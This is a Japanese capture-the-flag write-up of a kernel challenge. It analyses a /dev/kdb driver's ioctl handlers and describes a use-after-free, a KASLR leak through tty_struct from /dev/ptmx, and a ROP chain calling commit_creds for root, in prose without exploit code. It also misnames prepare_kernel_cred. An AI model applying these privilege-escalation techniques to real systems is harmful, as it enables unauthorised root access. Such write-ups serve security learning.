配布ファイルは以下の通り。 run.shを中身を見てみると、smep、kaslrが有効になっている。
% ls bzImage rootfs.cpio run.sh* % cat run.sh #!/bin/sh qemu-system-x86_64 -cpu kvm64,+smep -m 64M -kernel ./bzImage -initrd ./rootfs.cpio -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" -smp cores=2,threads=1,sockets=1 -monitor /dev/null -nographic 2>/dev/null
解析
攻略対象は/dev/kdb
。
/dev/kdb
に対する操作はopenやreleaseなどが定義されているが、ioctl()がメインの処理となっている。
ioctl(fd, cmd, args);と言った感じでユーザ空間から呼んでやると以下の処理を実行する。
cmdによって実行する内容が異なっている。
0x13371338: alloc_buf()を呼んでbufを新規作成。argsは先頭20byteは作成されたbufのnameに書き込まれる。次の8byteはsizeで、kmalloc()を呼ぶ時の引数となっている。
0x13371339: find_cbuf()でbufの探索。argsは先頭20byteで指定した文字列と合致するnameを持つbufを探す。argsの次の8byteは使われない。そのまた次の8byteがユーザ空間のポインタとなっている。copy_to_user()で見つけたbufのptrの中身をsize分だけ書き出す。
0x1337133a: 0x13371339の逆の処理で、copy_from_user()で書き込む。
- 0x1337133d: find_cbuf()で探索したbufが存在した場合、free_buf()で解放する。
- 0x1337133f: argsにはname[0x20]; user_ptr; len;ように30byte分設定しておく。find_cbuf()でbufを探索し、見つかったbufのsizeが、lenより小さい場合、kfree(ptr)してから新しくkmalloc(len)で領域を確保する。その後copy_from_user()で書き込む。lenが超えていない場合は、元のptrにそのままcopy_from_user()で書き込む。
使用される構造体は以下の通り。双方向のリンクドリストとなっている。
struct buf { char name[0x20]; char* ptr; long size; struct buf *next; struct buf *prev; };
exploit
ioctl(0x1337133F)には、kfree()した後にポインタを適切に処理せずに終了するパスが存在する。 つまり、ioctl()を呼ぶ時の引数を工夫することで、kUAFがおこせる。 具体的には、まず引数で設定するサイズはオブジェクトのサイズよりも大きくしてkfree()を実行させる。 その後、書き込む元のユーザランドのポインタとサイズの合計がユーザ空間内に収まっているかチェックが行われる。 このチェックに引っかかるとkfree()したポインタはそのままでretrunするためkUAFとなる。
この問題環境はkaslrが有効なので、まずはカーネル空間のアドレスをリークする必要がある。
取得した領域は初期化されず、さらに取得した領域から自由に読み込みができるので、未初期化の空間からカーネル空間のアドレスを特定できそうなアドレスを得る。
具体的には、/dev/ptmx
のオープン時に作成されるtty_struct構造体がもつメンバであるopsのアドレスからカーネル空間に関するリークができる。
opsはptm_unix98_opsを指しており、これはカーネル空間のdata(?)を指している。
そのため、そのアドレスからカーネルがマップされているベースのアドレスが計算できる。
リーク後は、ropでcommit_creds(prepare_kernel_commit(0));を実行後にswapgs+iretqでユーザ空間へ戻り、シェルを起動する。 このropの流れは、今までのwriteupのものと同じなので詳細については省略する。